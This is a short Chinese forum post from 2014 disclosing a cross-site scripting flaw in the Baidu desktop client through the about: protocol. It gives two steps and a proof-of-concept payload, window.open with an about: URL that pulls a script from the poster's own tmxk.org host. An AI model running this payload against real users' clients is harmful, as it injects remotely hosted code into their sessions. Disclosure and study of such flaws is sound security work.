天马行空工作室

 找回密码
 加入天马
搜索
查看: 2320|回复: 0

百度桌面版xss

[复制链接]
发表于 2014-8-20 17:31:30 | 显示全部楼层 |阅读模式
引起xss的是about协议。百度客户端:http://mini.baidu.com/
1、打客户端,搜索测试页面: http://tmxk.org/c/baidu-test.htm,(eval执行javascript的)。
2、然后输入测试代码执行: window.open('about:<script src=//tmxk.org/.js></script>')




QQ截图20140817130452.png

您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-1-24 10:09 , Processed in 0.321777 second(s), 26 queries .

Powered by Discuz! v8

© 2010-2014 百度桌面版xss - XSS 天马行空工作室

快速回复 返回顶部 返回列表